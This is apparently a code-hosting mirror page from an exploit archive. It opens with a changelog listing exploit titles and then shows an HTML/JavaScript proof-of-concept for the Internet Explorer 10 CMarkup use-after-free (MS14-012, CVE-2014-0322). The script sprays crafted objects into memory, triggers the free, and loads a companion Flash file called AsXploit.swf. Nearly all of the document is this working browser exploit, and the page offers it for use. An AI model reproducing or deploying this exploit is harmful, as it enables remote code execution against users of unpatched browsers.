ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
111 lines
No EOL
2.2 KiB
HTML
111 lines
No EOL
2.2 KiB
HTML
<!--
|
|
MS14-012 Internet Explorer CMarkup Use-After-Free
|
|
Vendor Homepage: http://www.microsoft.com
|
|
Version: IE 10
|
|
Date: 2014-03-31
|
|
Exploit Author: Jean-Jamil Khalife
|
|
Tested on: Windows 7 SP1 x64 (fr, en)
|
|
Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
|
|
Home: http://www.hdwsec.fr
|
|
Blog : http://www.hdwsec.fr/blog/
|
|
MS14-012 / CVE-2014-0322
|
|
|
|
Generation:
|
|
c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
|
|
|
|
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/32851-AsXploit.as
|
|
|
|
-->
|
|
|
|
<html>
|
|
<head>
|
|
</head>
|
|
<body>
|
|
|
|
<script>
|
|
|
|
var g_arr = [];
|
|
var arrLen = 0x250;
|
|
|
|
function dword2data(dword)
|
|
{
|
|
var d = Number(dword).toString(16);
|
|
while (d.length < 8)
|
|
d = '0' + d;
|
|
|
|
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
|
|
}
|
|
|
|
function eXpl()
|
|
{
|
|
var a=0;
|
|
|
|
for (a=0; a < arrLen; a++) {
|
|
g_arr[a] = document.createElement('div');
|
|
}
|
|
|
|
// Build a new object
|
|
var b = dword2data(0x19fffff3);
|
|
while (b.length < 0x360)
|
|
{
|
|
// mov eax,dword ptr [esi+98h]
|
|
// ...
|
|
// mov eax,dword ptr [eax+8]
|
|
// and dword ptr [eax+2F0h],0FFFFFFBFh
|
|
if (b.length == (0x98 / 2))
|
|
{
|
|
b += dword2data(0x1a000010);
|
|
}
|
|
// mov ecx,dword ptr [edx+94h]
|
|
// mov eax,dword ptr [ecx+0Ch]
|
|
else if (b.length == (0x94 / 2))
|
|
{
|
|
b += dword2data(0x1a111111);
|
|
}
|
|
// mov eax,dword ptr [edx+15Ch]
|
|
// mov ecx,dword ptr [eax+edx*8]
|
|
else if (b.length == (0x15c / 2))
|
|
{
|
|
b += dword2data(0x42424242);
|
|
}
|
|
else
|
|
{
|
|
b += dword2data(0x19fffff3);
|
|
}
|
|
}
|
|
|
|
var d = b.substring(0, ( 0x340 - 2 )/2);
|
|
|
|
// trigger
|
|
try{
|
|
this.outerHTML=this.outerHTML
|
|
}
|
|
catch(e){
|
|
|
|
}
|
|
|
|
CollectGarbage();
|
|
|
|
// Replace freed object
|
|
for (a=0; a < arrLen; a++)
|
|
{
|
|
g_arr[a].title = d.substring(0, d.length);
|
|
}
|
|
}
|
|
|
|
// Trigger the vulnerability
|
|
function trigger()
|
|
{
|
|
var a = document.getElementsByTagName("script");
|
|
var b = a[0];
|
|
b.onpropertychange = eXpl;
|
|
var c = document.createElement('SELECT');
|
|
c = b.appendChild(c);
|
|
}
|
|
|
|
|
|
|
|
</script>
|
|
<embed src=AsXploit.swf width="10" height="10"></embed>
|
|
</body>
|
|
</html> |